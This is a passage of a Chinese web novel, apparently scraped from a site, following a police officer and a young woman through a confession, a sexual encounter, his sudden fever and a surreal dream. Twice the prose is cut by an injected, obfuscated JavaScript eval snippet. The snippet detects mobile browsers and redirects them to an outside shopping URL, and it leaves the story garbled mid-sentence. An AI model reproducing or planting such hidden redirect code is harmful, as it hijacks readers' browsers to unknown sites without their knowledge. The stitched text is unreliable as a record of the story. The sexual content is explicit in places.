“划了一下。” “在流血呢。” 手背的伤并未愈合,伤口很新鲜,公冶见状不禁皱眉。 古夏刺的不重,这点小伤怎么到现在还没好? 邓烟雨比较担心,扯扯他袖子:“来我公寓,我给你包扎一下。” “不需……” “要”字脱口之际,被硬生生咬了回去。 公冶事后回想起来,觉得自己真是发昏了,身体和大脑各有各的意志。 邓烟雨静静等待着他的回应,手也没松开,于是公冶点了头。 如果不是今天,他知道自己绝不会答应。 可“云今哥”的威力对他来讲似乎太大了。 他有点沉不住气。 回公寓的路上,公冶看向邓烟雨,迟豫不久,说:“小雨,你手机最近掉电厉害吗,运行速度有没有变慢?” 邓烟雨说:“我手机五年没换了,现在就是个高龄小破机,全身是病,一上午就能把电掉完,内存也满了,运行超慢。” “所以你也感觉不出来,最近手机哪里出了问题?” “嗯啊,能有啥问题,这不都是问题吗,”邓烟雨豁达地耸耸肩,“既然都是问题,那就等于没问题啊。” 公冶人都呆掉了:“……精辟。” 邓烟雨害羞地摆手:“哈哈哈,别这么夸我啦。” 公冶:“……” 真是误打误撞。 也不知该不该庆幸,邓烟雨对这一块不敏感。 “一会儿你手机给我。” “为啥?” 公冶跟着她走进公寓大门:“我要给你的高龄小破机做个手术。” 83. 冲动 可惜手术进行得并不顺利——邓烟雨的手机太破了,破到公冶无从下手。 “反应好慢。” “对呀。” “为什么不重新买一个呢。” “看中一个,要好多钱,还是算了。” “……” “……” “买一个吧。” “不要。” 公冶靠在两人座沙发里,木然盯着屏幕上转动的圈圈,轻叹:“你要是买衣服的时候能想着一分钱掰成两半花,也不至于关不上柜门了。” 正在把衣服团成团往里胡乱一塞然后使劲推上衣柜门的邓烟雨听到这话,停下手中的活,满脸写着不开心。 “我买再多的衣服也是花自己的钱,有什么错?是柜子太小了。” 柜门吃力地兜着几十斤的重量,只堪堪合上一半,五颜六色的衣服被挤得像泡在水里的俄罗斯方块,稍稍一碰便会涌出来。 邓烟雨心情越发不好,冷淡地说:“我不要理你了。” 听语气明显是生气了,公冶的注意力从手机上转移,柔声解释:“我没有说你的意思,你买的衣服都很好看的。” “哼。” 完了,真的生气了。 公冶后悔自己刚才多嘴,顿了顿,讨好道:“我手好疼,小雨能帮我消毒吗?” “不能。” “求你了。” “求我也没用。” 嘴上发誓不理他,但不管他说什么,她都会有求必应地应下。 公冶静了须臾,佯装失意说:“那就让我血尽而亡吧。” “血尽而亡?”邓烟雨好整以暇地叉腰,“这不都快愈合了?” “还在流。” “愈合了。” 看来这次不是轻易能哄好的。公冶放下卡死的手机,向她走去,邓烟雨故意扭过身,背对着他。 他看看衣柜,对邓烟雨说:“我帮你整理衣服,如果柜门成功关上了,你就原谅我好不好?” 邓烟雨稍微转回来一点:“你有办法?” “你这样塞,空间都浪费了。” 公冶把一大堆衣服抱出来,放到沙发上,像个勤劳能干的家庭主夫将它们一件一件叠成漂亮的豆腐块。差不多花了大半个钟头,衣柜焕然一新,甚至还留出一格收纳的空间,能让邓烟雨放点背心吊带之类的轻薄衣物。 “以后收下来的衣服不要随便丢,这样叠好,花不了多少时间,就算有爱扔的习惯,柜子里有点乱,也不会挤得柜门都关不上。” “好整齐!好整齐啊!”邓烟雨满眼放光,摇着他胳膊,“你当过兵吗,怎么叠得那么方正!” 公冶手一推,柜门轻轻松松关上了。他仿佛听到小小的衣柜长舒了一口气。 “知元叠得比我还方正,你有刷到过酒店叠被子比赛的视频吗?” “刷到过。” “他就叠成那样。” “什么?!知元哥这么心灵手巧的吗,他有那——么多的花衬衫,居然可以叠成一块块正方形的豆腐,太好玩了哈哈哈哈——” 看她笑得前仰后合,公冶悬着的心总算落地了,继续哄着说:“女孩子衣服就要多多的,以后小雨的家一定会有一个非常大的衣帽间。” “我在梦里住过这样的房子,”邓烟雨拉着他重新坐下,“你家的衣帽间就是我的理想型,我看到它的第一眼就爱上了它。” 公冶拿起她的小破机:“那你要娶了我家的衣帽间吗?” 邓烟雨被逗笑了,看着公冶,说:“我要嫁给它。” “上次还说要嫁给牛肉。” “那个不作数,”邓烟雨托着腮看他操作,“等我嫁给你家衣帽间了,你记得随个大点的份子钱啊。” “好的,我已经想好随多少了。” “随多少?” “随你一个手机。” “……” 邓烟雨打他:“说来说去还是嫌弃我的小破机嘛!” 她不舍得丢掉用惯的东西,只要这部手机一息尚存,她就不会轻易换掉。 公冶耐心地等待小破机给予反应,邓烟雨从茶几下翻出药箱,看看手机再看看他,说:“把自己想象成八十岁的老年人,最好抖着手来使用我的手机,这样你就会和我的手机频率同步,也不会觉得它反应慢了。” 公冶无可奈何地撑住额头,半晌居然呵的一声笑了,邓烟雨拍拍他:“不要苦笑了啦,来——”她举着碘伏棉球一脸认真,“我给你消毒,你别动噢。” “我是老年人,我不动。” 他花了好久终于把隐藏的软件找出来了,用自己的手机给楚知元打了电话。 “我不太懂这个,除了恢复出厂设置还有什么办法?” “重新买一个……” “好主意,”浴室响起水声,邓烟雨放他一个人在外面,自己去洗澡了,公冶叹了口气,“可她不想买。” “那你……给她买一个……” “也行,”公冶坐姿懒散,又问,“你在干嘛,说话有气无力的。” “大哥……几点了……我不用睡觉的吗……嫌我头发多吗……” “好吧,不打扰你了。” “哎等等,”楚知元睡眼惺忪地爬出被窝,“你俩今晚要本垒打吗?” 公冶:“……” 公冶:“……?” 公冶:“你睡傻了?在问什么?” “我问的有问题吗,我听见水流声了,你手机开了免提吧?” 公冶立刻关掉免提,把手机拿到耳边:“滚去睡觉,我挂了!” “说真的,年纪也到了,我不信你把持得住,”楚知元打了个哈欠,坏心思萌动,笑吟吟说,“寇栗她啊,还跟我主动提起你,说上次在公园见你像只走丢的小奶狗好伤心的样子,一看就没毕业。” “……最后两句话之间有什么联系么?” “没,只是想给你个忠告,你该毕业了。” “你们聊我就聊这些?” “不然呢,担心你一直不用,功能退化了怎么办?”楚知元随手抓了条背心套上,“人家都在洗澡了,哗啦啦的,声音不小哦,一听就是在邀请你。” “我哪有那个心情。” “咋了呀?” “她手机被监听,我有很大的责任。” 听说是除夕那晚被钻了空子,楚知元顿时没了困意,从床上坐起,挠着痒痒下楼找喝的:“渡莲,这事也没法预料,不要太自责,酒吧名字报我,我找人探探口风去,能找到那家伙,我帮你揍他一顿。” “先不要,”公冶思索着,“或许我也有门路。” “哦?”楚知元打开冰箱,“和灯港的吃货们混熟了?” “没有,”公冶无奈地说,“你最近好么,独玉那边没找你吧?” “嗯,她好像无所谓我和寇栗,倒是你,”楚知元拿出一罐汽水,“顾令萍盯你盯得贼紧,叶穿林那家伙……还在你身边阴魂不散?” 公冶不说话。 “你啊,别再为了当年那点可有可无的情谊而一遍遍地容忍他,”楚知元单手拨开拉环,“他从伤害你的那一天起,就不配再做你的朋友。” “……嗯。” “那晚安,我喝完要去睡了,”楚知元笑着说,“祝你成功哟。” 电话刚挂断,邓烟雨的手机上方弹出两条消息,是庆云今发来的—— 【烟雨,你的外套在我这,没拿回去】 【明天让小凤给你带来】 浴室水声停止,映着白雾的门被推开,邓烟雨擦着头发走了出来,吹干以后来到沙发那边,公冶将手机还给她:“芯片拿出来了,软件也卸载了。” “好的。” “抱歉,不会有下次了。” “没事。” “如果不放心,我可以给你重新买部手机,”公冶希望尽量弥补,“你这个牌子最新款听说拍照很好看,我明天去店里……” 邓烟雨安安静静站着,接下来的话根本没在听。 为了送他最好的生日礼物,她几乎每天打工到晚上九点,好不容易攒下一半的钱了,哪能胜利在望之际,先被他截胡甩一部好几千的新手机呢?搞得好像他的钱是大风刮来的,她偷偷攒钱制造惊喜的努力更是白费。 要是真收了手机,等他生日那天,她就算拿出再昂贵的礼物,对他而言也仅仅是出于先前送手机的缘故,礼尚往来罢了。 邓烟雨要看到他喜出望外的样子,而不是“因为我上次送你手机所以你回我一份礼表示感谢,那我就接受吧”的淡然心态。 “不行,”邓烟雨态度坚决地说,“不行不行,你不能买!” 公冶一愣。 “绝对不许买,”邓烟雨困难地表达着,“你嫌钱多买套房子都可以,就是不能给我买任何东西!” 语气无比决绝,像是急于划清界限一般。 公冶慢慢低下头,眸色暗了。 “我知道了,不买。”他轻声回应着,神情不太明朗。 邓烟雨仅着一条纯棉睡裙,坐在他边上:“话说他们为什么要监听我,那个放血娃娃的男人和开绿色SUV的女人,你知道是谁吗?” “是个误会,他们认错人了,我会盯紧,不会再让他们来骚扰你。” 其实比起古夏,他倒更想问问邓烟雨对红鸽了解多少。医院走廊上,邓忠云说的话在他混沌的思绪里徘徊不去—— “影青,我对公安并不抱有期待。” “我时常会回想当年被南陆侵占的灯港。” “虚伪的和平比战争来得更可怕。” “我希望我的孩子幸福,也希望你幸福……可我好像,永远都和这条路在背道而驰。” “我能走到今天,不是一时失误,即便这条路在大多数人眼里错得离谱,我也会……” “走下去。” 每一句话,每一个字,刻骨铭心地从记忆最深处灰蒙蒙地浮上来。 邓忠云话中有何深意?难道,他也清楚卡萨乐园爆炸并非意外? 公冶没考虑好怎样开口询问邓烟雨,一个不慎就会弄僵两人的关系,可他想知道这背后的真相,也想知道江盛党对邓烟雨穷追不舍的理由。 这一切,是否源于邓忠云? 邓烟雨悄悄瞄着他,握紧了手机。 她前面翻到了庆云今发来的消息,心中隐隐不安,再转头,见身旁男人的眼神晦暗难辨,更让她确信他定是误会了什么。 “我走了,你早点睡。” 这事暂压不论吧——公冶如此决定好,起身离开。看他要走了,邓烟雨伸手扯住他的衣摆:“等等。” 公冶回头。 “那个……”邓烟雨说,“云今哥是庆威凤的哥哥,我们只是朋友。我和他今天去看了《红楼梦》舞剧,他帮我拿外套,我、我忘记要回来了……” “我不是想和他去看,主要是为了舞剧,他也不想浪费票,所以……” 邓烟雨解释得无语伦次,不过公冶听得懂,不仅听得懂,脑袋里还能放电影似的播放那些情景。 虽然不是他最想听的,但今晚她和庆云今宛如一对璧人亲密无间走在一起的画面一幕幕涌上脑海,公冶感觉自己像个跳梁小丑,无意再听邓烟雨辩解,默默打断道:“我知道,我没误会。” 邓烟雨愣住了:“你知道?” “嗯。” “你知道什么?” 公冶心浮气躁,想也不想便说:“该知道的都知道。” 邓烟雨长久未出声,盯住他的脸,缓声问:“你为什么会知道?” “……” 空气似乎凝固了一秒。邓烟雨站起来,用探究到底的目光注视着他,见他半天不答,她往前一步,小心翼翼唤道:“公冶警官?” 公冶渡莲冷汗都下来了。 他!在!说!些!什!么!啊! “想、想想就能知道啊,又不是什么值得思考的问题。”这回换成公冶语无伦次了,他实在没底气,转身要走,邓烟雨急忙拉住他的手腕。 “你回来。” “很晚了,我今晚还要值班,要快点回单——!” 邓烟雨突然猛力把人拽了回来,推倒在沙发里。公冶重心不稳整个人撞在沙发靠背上,一抬头,就被邓烟雨微热的目光紧紧缠住了。 “为什么要躲?” “我没躲。” 邓烟雨没有放过他神态间的细微变化——一贯的冷静、缜密、临危不乱,其中却稍纵即逝地闪过一丝……心虚。 “是啊,你没躲,你也没误会。” “是我误会了。” 他们的膝盖即将碰上,邓烟雨站在他面前,居高临下俯视他:“我误会你不在意我,误会你不会妒忌吃醋,误会你不喜欢我。” 公冶大脑一团乱麻,不知该怎么反驳,只苍白地说:“我没有……” “即便你是从友知姐那里听来的,可我和友知姐只说去看舞剧,并没有提到云今哥,那你是怎么知道的?” 公冶撑着沙发,坐起来一点,仍旧死鸭子嘴硬:“猜的。” “猜的?光靠一件外套,你就知道和我去看舞剧的是云今哥?” 公冶目光凝在别处,默不作声。 邓烟雨再次读了那两条消息:“云今哥也有可能是我的同学,我也有可能把外套忘在学校里,你为什么不往那个方向猜?” “而且,云今哥只说我的外套落在他那,没说是哪一天落在他那的,可你十分清楚是今天,是今晚,对不对?” “公冶警官,你说话,你为什么会知道云今哥这个人?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“但是,我想告诉你,我到现在依然喜欢你,被你拒绝也喜欢你,甚至每天都会更喜欢你一分,你身上有太多美好的品质,你值得被好多好多人喜欢,裴远航家属在网上发长文感谢你和贺警官,你去看了没?你肯定觉得这是不可能发生的事吧?可这就是事实,你是一名出色的警察,你非常非常棒,你给一个破碎的家庭带来了最后的希望,这个希望名叫公正。” 公冶胸口发烫。 “公冶警官,不要把曾经的不幸归结为自己的一生。” “顾院长没有正确地引导你,她对待你像对待一具机器,要求你笑,你就必须笑,你在这样刻板的环境下靠自己学习理解着亲情、友情、爱情,你对感情的判断与衡量,就像实验数据一样黑白分明,所以,当你第一次带女孩子回家,当你愿意和女孩子睡在一张床上,当你和我拥有更亲密的行为时,你觉得只要经过同意,就是理所当然。” “可是,不是这样的。” “如果你不喜欢我,你的本心是不会同意的,从一开始,从‘认为让我住在你家里也可以’的这个想法萌生起,这份感情就不同了。” 也是在这间破旧的公寓,落地窗被他踢碎了,寒冬的夜风猛灌进来,把她吹得浑身冰透,她狼狈地裹紧被子,头发都冷得翘起来好几根,仍然不允许自己牙齿打架,暗暗发誓哪怕当着他面做不到美丽动人,也要尽力做到美丽冻人。 而他只能满含歉意看着这样的她,这样一个……倔强到可爱的她。 “公冶警官,你不是机器,也不是谁的附属品,你就是你自己,你明白什么是不甘,什么是难过,你会气到不知所措,会忍受不了大喊出来,疑惑到底是怎样一种感情引发出如此奇怪的心情,我可以告诉你,被你拒绝的那晚,不会喝酒的我气得买了一打啤酒喝,我一个人在这间屋子里发酒疯,把你骂个半死,我经历这种太多了,都可以做你师父了!” 他抵住她的额头:“你本来就是我师父。” “不止烧饭做菜,感情上我也可以做你的师父,”邓烟雨蹭了蹭他的头发,“我才不要被你模棱两可地搪塞过去,也不要你明明很痛苦,却连自己都看不清自己的感情,正视自己,也正视我……你就在我面前,唾手可得的地方,要让我一次次错过……我才不要。” 公冶被这么猛烈地告白,脸红得不行。 “还有,不许再小瞧我,”邓烟雨看他脸红了,自己也红了,“我比你想象得强大多了!说什么希望我平安,和你分开以后,你看我平安过吗?我也不会再说我配不上你这种话了,就算以后你出轨,我也有本事让你净身出户!” 公冶轻轻笑了,满眼都是她:“已经想到那个份上了?” “那当然!”邓烟雨与他对视,那样无限包容她的眼神,只在一起做饭的那一晚看到过,她当时跳起来要摸他的脑袋,却被他紧紧地抱在了怀里。 当时,他其实是想告白的吧?但我不争气地退缩了,所以这一次,我绝对不要再错过。 “我对待感情可是超级认真的,我以前还想过一辈子不结婚,可如今我改变想法了,因为我发现,我好像有了想嫁的人。” 此刻,他有种冲动,想抚摸她的脸,她的唇,她的耳垂。 邓烟雨害羞地补充一句:“不是牛肉,也不是衣帽间……” “我也是,我也只对小雨……” 邓烟雨怦然欲动,手滑到他的颈侧:“你再叫一次我的名字。” “再叫一次。” 公冶不明所以,“小雨”这两个字,他已然叫了无数次,但触上她炽热渴求的目光,他就有些情不自禁,仿佛回到了看《情书》的那一晚。 他喉结轻滚,低声唤道:“小雨。” 邓烟雨眼中似有泪光闪动,倾身去吻他,公冶愣了一瞬,立刻用手挡住,邓烟雨亲在他手背上,气呼呼瞪他一眼。 “我说了,今晚要值班,放我走吧。” “值班有友知姐呢。” “你友知姐听到这话要哭的。” 邓烟雨抓皱了他的衣服,说:“我不放你走。” 她把灯按灭了,房间霎时陷入黑暗,只余彼此的呼吸声。 白色的涤麻窗帘拖到了木地板上,光影在朦胧的布面上一阵流动。 公冶的背刚离开沙发,就被抵住,带着沐浴香气的发尾轻柔地笼过来,一双温暖的小手环住他的肩。 视线很快适应了黑暗,他们无可避免地望着对方,心情越来越乱,有什么在作祟。公冶看到了邓烟雨眼中逐渐凝成的决心,带着点点湿润。 未等他开口,邓烟雨就把自己送入他的怀抱,仰头吻住了他。 84. 烧 和那夜不太一样,两个人都绷紧了身体。 沙发桌的鱼缸被不慎碰翻,坠在地毯上,彩色石头像冲上岸的贝壳哗啦啦流滚出来,犹如那晚摔落满地的针管,银光四溅勾起了她的回忆—— 昏黄的灯、凌乱的床、燥热难耐的他与她……邓烟雨在记忆里搜寻着一个被本性掠夺又释放的人,一个冷淡外表下其实有颗深谙此事的滚烫灵魂。 她的肌肤弥漫着沐浴后的香气。 讯问室里,全身锁满戒具的苏赞撩起眼,诡秘地笑着,阴柔的声线在公冶脑际响起—— “她刚洗完澡,香得要命。” “香得要命。” …… 为何会在这时想起苏赞的话? 大概是在今夜,他首次领略到美食家可怖的天性,占有、征服、控制、各色各样低劣饱满的欲望在寂静的血骨里开花,在空虚的躯壳里茁长,直到撑裂那点可怜的人性,这才是掠食者该具备的姿态,他们的爱意就是不择手段。 她攀住他的肩膀,鼓足勇气,主动亲了亲,一遍又一遍,蜻蜓点水般落在他唇上,柔软得像化开的棉花糖。几番磋磨下,他咬住的牙关被迫松开,一道酥麻的电流把两人死死捆缚在一起。 温热的触感,香甜的气息,交缠,索取,泥泞到分不开。 近距离观察,他鼻梁格外英挺,睫毛不止长,还密,像蝴蝶轻颤的薄翼。 怎么皱眉了。 邓烟雨以为他在嫌弃自己笨拙的技术,后腰恍惚一紧。 男人的手揽上她的腰,吻也重了,背离开了沙发,愈渐强势的力道似乎要把她牢牢囚在怀里,邓烟雨不由自主哼出声,趁他乱来前把他按回去。 记得自己当时再三求饶也没得到他半点体恤,于是邓烟雨故意堵得他不能换气。 她咬了他一口。 他睁开眼,与她对视,随即眼睫一垂,强行将二人分开。 “生气了?” “我还想问你,”他嗓音低沉,“咬我干嘛?” “就想咬你。” 他显然不懂这方面的情趣,邓烟雨推了推他:“再来一次。” “不要再咬我。” “嗯?嗯,”邓烟雨环着他,“不咬的,哥哥。” 公冶皱眉。 “这也不让叫,那也不让叫,那要我叫你什么呀,大食主?公冶理事?”邓烟雨拿他逗趣,“莲理事,莲理事?” 他把她抱过来,封住她的声音,已经忘了来这里的初衷。邓烟雨任由他亲吻索要,手不再环着,往下,要解他的皮带。 “咦?”她发出一声疑问,往相贴的地方看去,“没有皮带……对了,你没穿警裤。” 住在他家的某天清晨,她曾亲眼见他系上一条黑色皮带,皮革与金属碰撞拉动的声音格外优雅,通过那双修长整洁的手,系在又窄又紧的腰间。 自那以后,得知他次日要去单位,她一定会偷偷跟着早起。她喜欢看他在镜子前整理自己,喜欢看他戴手表,扣袖钉的样子,有一天洗手台上多出了一只黑色瓶子,邓烟雨便特意装成刚睡醒的样子走出去和他道早安,果然,在那身笔挺的警服上闻到了淡淡的香水。 这一切都带给邓烟雨无限的遐想,包括他坐到餐桌前用餐,把警帽放在一边的动作,包括他喝着再普通不过的一碗粥,视线却停留在报纸上的姿态。 只是平平无奇的小事,邓烟雨不明白自己为何会越陷越深。 今夜气温适中,酿出了一个温和的环境,彼此的体温却在掩饰不了地上升。 有些许惋惜。 她很想解一次他的皮带。 发现她看着不该看的位置,公冶制止了。 “我有,”邓烟雨眨着亮晶晶的杏眼,“买了一盒,就是不知道你尺寸。” 公冶有种五雷轰顶的感觉:“你……” “干嘛,不要乱想,我以为约会那天可以成功的,所以事先备好了,”她玩着他裤腰的抽绳,“你上次说你家里没有。” “我跟你说过这个?” “你被药的那晚。” “……” “这东西好贵的。”邓烟雨拉开旁边抽屉,拿出一盒,当着他面拆起包装。 他看着她拆,冷静片刻,说:“这不行。” “不要戴吗?” “戴不上。” 邓烟雨:“……” 她捏皱了桃粉色小盒子,通红的脸蛋埋在他肩膀上,一拳捶向他:“我买的大号。” “我知道。” “那个,我网上,总是刷到,那啥……”邓烟雨吞咽,“公冶警官,美食家真的平均18厘米吗?” 他难以启齿,头脑发热了半天,说:“我个人代表不了群体。” 邓烟雨一下子精神了,坐直了,双眸放光:“所以,你是——” “我不是。” “那——” “我不知道,别问我。” “你自己平时不关注吗?” “不关注。” 邓烟雨的字典里可没有退堂鼓,靠近他一点点,热烈地发出邀请:“我想帮你一次。” “就一次。” 他澄澈的瞳仁倒映着她的样子,公冶最受不了这个角度,她像只听话又温顺的小动物,抬头仰视自己。 邓烟雨手指头戳他,扯着他裤腰带抽绳,扯松了。 “你在好奇什么?” “我就是好奇呀。” 对未知充满好奇,不行吗。 公冶伸手,捧着她的脸,将她带进怀里:“害怕就推开我。” 邓烟雨抓皱了他的衣服,嗅着他的气息,轻声说:“不会的……” 他们都带着初尝的,前所未有的紧张,被碰到后,他耳根红透了,瞳孔竖成了一条线。 邓烟雨吃力地裹住,注意到他瞳孔的变化,好久没看到他猫眼的样子了,这个距离观察,他真的好像一只大猫咪,可爱又傲娇。 两个人都抑制着呼吸。邓烟雨不再分心,慢慢记住了那个形状,脸颊越来越红。 她勾住他的肩,额头靠在他锁骨前,也不说话。 只余水声。 公冶咬唇极力忍耐,把头侧过去。 “你也配合我一下……”邓烟雨精疲力尽,“抖成这样,搞得好像我在欺负你。” “太……快了……” 没想到他会提要求,邓烟雨服务意识满分地回复:“好,那我慢点。” 接下来很长一段时间,彼此都在默默地隐忍,两个人额头抵额头,头发柔软地碰在一起。 “你瞳孔颜色变了。” “就像……”邓烟雨透过那双眼,凝望着,“梦莲湖的颜色……” 心脏沉沉撞动,他无力招架地闭住眼,哪里都红,连凋落在眼稍边的头发丝都散发着破碎的美。 “小雨,我有点热。” “我也是。” “不,”他目光朦胧,说,“你身上好凉。” 邓烟雨体温没他高,他迷迷糊糊贴近她,垂下头,乱发搭在她肩头,喘息声尤为暧昧。 “这么热吗?” “嗯……”他感觉心脏跳动过猛,快要撞出胸膛,不舒服地皱眉。 “你抱我太紧了,”邓烟雨让他松一松,察觉有些不对劲,探他额头,“你发烧了?” “……” “好烫,真的好烫,我把你弄发烧了?” 公冶想回答邓烟雨,但心脏剧烈绞痛起来。 为什么偏偏在这时候,针剂还没带。 他不想让她看到自己脆弱的一面,用最后的力气说:“你把我从窗口丢下去吧。” 邓烟雨:“……” 邓烟雨:“你脑子烧穿啦!” 他身体烫得像从火炉里捞出来的,轻薄衣料下的胸膛起伏不息,邓烟雨急忙去厕所拧了条毛巾,贴在他滚烫的额头上,温度计一量—— 滴—— 鲜红的屏幕上显示:46度。 她惊叫出声:“46?人可以烧到46?!” 公冶满脸潮红,眉宇蹙着,发丝打湿一般贴着面庞,竟有种纵欲过度的虚弱美感。 “我,我我该怎么办?我们去床上?” 他难受地睁开眼,看她。 “去床上躺着,你以为我要干嘛!” 这场高烧来势汹汹,把他烧成热水袋了,邓烟雨抱着他一边取暖一边翻到朗玉山的号码拨过去。 第一通电话没接,第二通“嘟”到最后,总算接了。 “喂?朗院长?不好意思那么晚打扰你休息,我是邓烟雨,有急事找你。” “……噢,没事,”朗玉山努力撑开眼皮,哑着声问,“怎么了?” “是公冶警官,他突发高烧倒下了。”邓烟雨拍拍“热水袋”,已经烧到拍不醒了。 朗玉山登时瞌睡全无,从床上猛地弹起:“你那有温度计吗?” “有,我量了,烧到46度了,怎么办啊。” “烟雨不急不急,美食家发烧到46度是比较常见的,你听听他心跳,是否快到不正常。” 邓烟雨伏到他胸膛前听了一阵,说:“有点快,但没有快到不正常。” “好……你先给他额头冷敷,有退热贴就贴一张,薄的被子盖一条,儿童退烧药有吗?” “儿童?” 朗玉山摸着下巴:“小孩子的退烧药或者感冒药就足够对付了,其他药我怕有副作用。” 邓烟雨呆了呆:“儿童退烧药我没有……美林行吗,我这就去买。” “别出去了哦,手机上买,外卖软件能搜到。” “好、好的。” “美食家突发高烧也是有的,之前极乐都烧到50度呢,何况影青最近身体比较敏感,让他睡一觉好好休息一晚应该就没事了。” 身体比较敏感?他都不说。 一想到自己前面干的好事,邓烟雨就有种做贼心虚的感觉:“是我的错,我让他发烧了。” 朗玉山听出其中意思,柔声说:“他发烧或许是因为正值发情期,当然,和上次不同,上次是药物催情,这次是正常的情热阶段。” 邓烟雨诧异地张嘴。 “公安美食家也有发情期,只是经过特训,弱化到几乎无症状,这次可能是和你产生肢体接触,体内激素上升过快,再加上他近期在用药,所以一下子给点着了。哈哈,没事的没事的,下次他就不会发烧了。” 邓烟雨满面绯红:“对不起……” “哎呀,和我说对不起干嘛,等他降下去几度就不要紧了。”朗玉山像个和蔼可亲的老父亲,包容万岁地说道。 半小时后药送来了。邓烟雨把橙色液体斟进小量杯,慢慢扶起他,可病人昏昏沉沉的,根本没力气张口喝药。 “公冶警官,醒一醒。” “……” “好哥哥,吃完药再睡嘛。” “……” “大郎,起来喝药了。” 尝试几次皆以失败告终,邓烟雨捏着小量杯,一脸怅然若失。 公冶胸口似乎没那么难受了,正睡得昏沉,脑袋无意识侧向邓烟雨,轻暖的鼻息喷洒在她锁骨下。 邓烟雨伸出指头挠了他一会儿,自己喝下美林,然后捏起他下巴,把那口甜橙味的药液嘴对嘴渡了过去。 他喉结微动,喝下了。 邓烟雨看向时间——凌晨两点多,明早还有课。 “你倒好,享受完倒头就睡,我因为你现在精神百倍呢。” 邓烟雨戳戳他脸蛋,毛巾擦干他的湿发,怕他睡得不舒服,把脑袋搬到枕头中间。等了片刻,用温度计测 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579337|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量体温:41度。 后半夜天气骤然降温,邓烟雨睡衣薄,冷得打了喷嚏。将近三点的时候,困意袭来,公冶的体温已降至四十度以下。邓烟雨去衣柜里抱了床厚被子,在他身边盖好躺下了。 快睡着时,她被自己的脚冷醒,缩在被窝里搓了搓。三月春寒料峭,冬天的厚被子也捂不热下半身。 她扭动一下,从被窝里探出脑袋,去看公冶,这个没心没肺的男人在她旁边睡得可香了,也是裹着被子,半张脸埋在被褥间。 邓烟雨侧过身动了动,将冰凉的小脚伸进他的被子里。 好暖,暖得不可思议。 她裹着厚被子往他那边挤了挤,听着他温和有力的心跳,合上了眼。 …… 黑暗中回荡着一头巨鲸的悲鸣,空灵且庞大,震动着心魂。公冶有了意识却难以睁眼,指尖不知碰到了何物,温暖光滑,在向上游去。 “呜——” 巨鲸在头顶发出深长的咏叹。他周身被暖意包裹,这股暖意是活的,不停起起伏伏,与他接触,仿佛许多新生的小生命在呼唤着他快快醒来。 公冶不得不掀开眼皮,与一只布满藤壶的眼睛四目相对。 蓝鲸距离他十分近,在空中浮游,投下长久静止的、情感不明的凝视。 醒来看到这样的巨物,他瞬间头皮发麻。 蓝鲸喷出气,从他面前慢腾腾游过,展露出伤痕累累的鳍肢,下一秒,它的躯体呈现出明显的震裂,像升空的烟花爆了开来。 百吨巨鲸在眼前爆成一场大雨,雨丝折射出银蓝光泽,照醒了黑夜,眨眼的工夫,从密集的雨幕中闯出一大群鲜黄色的飞鸟,向着大地俯冲而去。 鸟群急速穿破雨丝,如离弦之箭撞击池面,溅起成千上万只绿蝶,蝶群扇动着墨绿宽大的翅膀,拼命飞回那片黑漆漆的高空。 公冶在蝶群飞走之后,才透过一口气来。 “鲸落”还在断断续续倾泻着,他怀疑自己是在做梦。 他缓了一阵,想要起身,发现自己置身在一汪墨池上,没有一丝皱纹的池水辽阔得望不到头,他伸手撑住倒映自己的池面,茫然地站了起来。 脚下泛开光圈一样的涟漪,他并未就此沉落,甚至可以在水面行走自如,头顶再次涌现出碎碎点点的星光,越聚越多,他以为是蓝鲸和鸟蝶回来了,仰头望去,漫天流动的是“鲸落”之后形成的如雾凇泻地的细雨。 不,不是细雨。 那些形同雨丝的东西在天幕下缓慢移动,不计其数,是某种丝状物生命,它们数量浩瀚到壮观,呈现黄与蓝两种色彩,或成群,或分散,一条一条仿佛充满智慧,在漆黑的天地之间泅戏交融,变幻无穷。 池底浮起一团光,是蓝的,公冶移开脚,蓝色丝状物顶破池面爬了出来,朝天空徐徐游去。 有的丝状物出生后,离池水近,公冶看清了它的模样,它体表光滑,能自主鼓动发光,闪光时可见体内血管,识别不出哪端是头尾,身躯两侧遍布着细密整齐的触丝,类似于昆虫的足,像巨船之桨密密麻麻上下翻动,这应该就是它能当空游动的原因。 有两条黄蓝触丝虫朝他游来,公冶后退,它们便撞在一起,令人惊异的是它们相撞后并未弹开,而是穿透了彼此,交叉处融为绿色。 两条触丝虫就当着公冶的面不慌不忙吸附住对方,融合成功,变成一条原模原样的绿色触丝虫,绿触丝虫更亮,更长,上千对耸动的触角更加繁复诡异,恍如莲花底下长长的根茎。 目光所及之处,触丝虫在漫天遍地游荡追逐、组成星座,拼写看不懂的文字,手拉手围成一圈跳篝火的小人,撞开一簇又一簇深青或浅绿的花火,有几条性格活泼,翻出光溜溜的肚皮要亲近公冶。 公冶躲开它们,不安地观望着。 这到底是哪? “喂。” 不远处,有个男人在喊他。男人应该站得挺久了,弯腰敲着膝盖,破败褪色的衣袍拖曳至池面,唯有衣襟与袖口可以辨出原有的青苍色。 他整个人看上去萎靡不振,浅金的长发无风自漾,上半张脸宛如被墨水染浊的画卷,怎么也瞧不清楚。 他赤着脚朝公冶走来,不知哪里系着颗铃铛,行走之间“叮当、叮当”地晃响。 铃铛一响,附近的触丝虫就伸长前端的触须,应声发亮。 公冶想找出口离开。 “难得回来一趟,这就想走?” 触丝虫萦绕在青袍男子身畔,把他残旧的衣袍都染亮了。他和公冶渡莲面对面立在黑池中央。 公冶尽力稳住声线,询问:“这是哪?” “不记得了?” “那你……也不记得我?” 公冶看不清他,略微摇了摇头。 “哦。” 